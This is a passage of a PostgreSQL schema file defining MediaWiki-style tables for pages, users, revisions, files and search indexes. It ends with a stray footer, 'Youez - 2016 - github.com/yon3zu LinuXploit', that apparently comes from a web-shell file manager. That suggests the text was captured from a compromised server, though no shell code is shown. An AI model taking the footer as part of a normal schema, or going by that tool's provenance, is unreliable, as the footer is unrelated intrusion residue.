CREATE INDEX page_len ON page (page_len);

CREATE INDEX page_redirect_namespace_len ON page (
  page_is_redirect, page_namespace,
  page_len
);


CREATE TABLE "user" (
  user_id SERIAL NOT NULL,
  user_name TEXT DEFAULT '' NOT NULL,
  user_real_name TEXT DEFAULT '' NOT NULL,
  user_password TEXT NOT NULL,
  user_newpassword TEXT NOT NULL,
  user_newpass_time TIMESTAMPTZ DEFAULT NULL,
  user_email TEXT NOT NULL,
  user_touched TIMESTAMPTZ NOT NULL,
  user_token TEXT DEFAULT '' NOT NULL,
  user_email_authenticated TIMESTAMPTZ DEFAULT NULL,
  user_email_token TEXT DEFAULT NULL,
  user_email_token_expires TIMESTAMPTZ DEFAULT NULL,
  user_registration TIMESTAMPTZ DEFAULT NULL,
  user_editcount INT DEFAULT NULL,
  user_password_expires TIMESTAMPTZ DEFAULT NULL,
  user_is_temp SMALLINT DEFAULT 0 NOT NULL,
  PRIMARY KEY(user_id)
);

CREATE UNIQUE INDEX user_name ON "user" (user_name);

CREATE INDEX user_email_token ON "user" (user_email_token);

CREATE INDEX user_email ON "user" (user_email);


CREATE TABLE user_autocreate_serial (
  uas_shard INT NOT NULL,
  uas_year SMALLINT NOT NULL,
  uas_value INT NOT NULL,
  PRIMARY KEY(uas_shard, uas_year)
);


CREATE TABLE revision (
  rev_id BIGSERIAL NOT NULL,
  rev_page INT NOT NULL,
  rev_comment_id BIGINT NOT NULL,
  rev_actor BIGINT NOT NULL,
  rev_timestamp TIMESTAMPTZ NOT NULL,
  rev_minor_edit SMALLINT DEFAULT 0 NOT NULL,
  rev_deleted SMALLINT DEFAULT 0 NOT NULL,
  rev_len INT DEFAULT NULL,
  rev_parent_id BIGINT DEFAULT NULL,
  rev_sha1 TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(rev_id)
);

CREATE INDEX rev_timestamp ON revision (rev_timestamp);

CREATE INDEX rev_page_timestamp ON revision (rev_page, rev_timestamp);

CREATE INDEX rev_actor_timestamp ON revision (rev_actor, rev_timestamp, rev_id);

CREATE INDEX rev_page_actor_timestamp ON revision (
  rev_page, rev_actor, rev_timestamp
);


CREATE TABLE searchindex (
  si_page INT NOT NULL,
  si_title TEXT NOT NULL,
  si_text TEXT NOT NULL,
  PRIMARY KEY(si_page)
);

CREATE INDEX si_title ON searchindex (si_title);

CREATE INDEX si_text ON searchindex (si_text);


CREATE TABLE linktarget (
  lt_id BIGSERIAL NOT NULL,
  lt_namespace INT NOT NULL,
  lt_title TEXT NOT NULL,
  PRIMARY KEY(lt_id)
);

CREATE UNIQUE INDEX lt_namespace_title ON linktarget (lt_namespace, lt_title);


CREATE TABLE file (
  file_id BIGSERIAL NOT NULL,
  file_name TEXT NOT NULL,
  file_latest BIGINT NOT NULL,
  file_type SMALLINT NOT NULL,
  file_deleted SMALLINT NOT NULL,
  PRIMARY KEY(file_id)
);

CREATE UNIQUE INDEX file_name ON file (file_name);

CREATE INDEX file_latest ON file (file_latest);


CREATE TABLE filerevision (
  fr_id BIGSERIAL NOT NULL,
  fr_file BIGINT NOT NULL,
  fr_size BIGINT DEFAULT 0 NOT NULL,
  fr_width INT DEFAULT 0 NOT NULL,
  fr_height INT DEFAULT 0 NOT NULL,
  fr_metadata TEXT NOT NULL,
  fr_bits INT DEFAULT 0 NOT NULL,
  fr_description_id BIGINT NOT NULL,
  fr_actor BIGINT NOT NULL,
  fr_timestamp TIMESTAMPTZ NOT NULL,
  fr_sha1 TEXT DEFAULT '' NOT NULL,
  fr_archive_name TEXT DEFAULT '' NOT NULL,
  fr_deleted SMALLINT NOT NULL,
  PRIMARY KEY(fr_id)
);

CREATE INDEX fr_actor_timestamp ON filerevision (fr_actor, fr_timestamp);

CREATE INDEX fr_size ON filerevision (fr_size);

CREATE INDEX fr_timestamp ON filerevision (fr_timestamp);

CREATE INDEX fr_sha1 ON filerevision (fr_sha1);

CREATE INDEX fr_file ON filerevision (fr_file);


CREATE TABLE filetypes (
  ft_id SMALLSERIAL NOT NULL,
  ft_media_type TEXT NOT NULL,
  ft_major_mime TEXT NOT NULL,
  ft_minor_mime TEXT NOT NULL,
  PRIMARY KEY(ft_id)
);

CREATE UNIQUE INDEX ft_media_mime ON filetypes (
  ft_media_type, ft_major_mime, ft_minor_mime
);


CREATE TABLE "collation" (
  collation_id SMALLSERIAL NOT NULL,
  collation_name TEXT NOT NULL,
  PRIMARY KEY(collation_id)
);

CREATE UNIQUE INDEX collation_name ON "collation" (collation_name);

Youez - 2016 - github.com/yon3zu
LinuXploit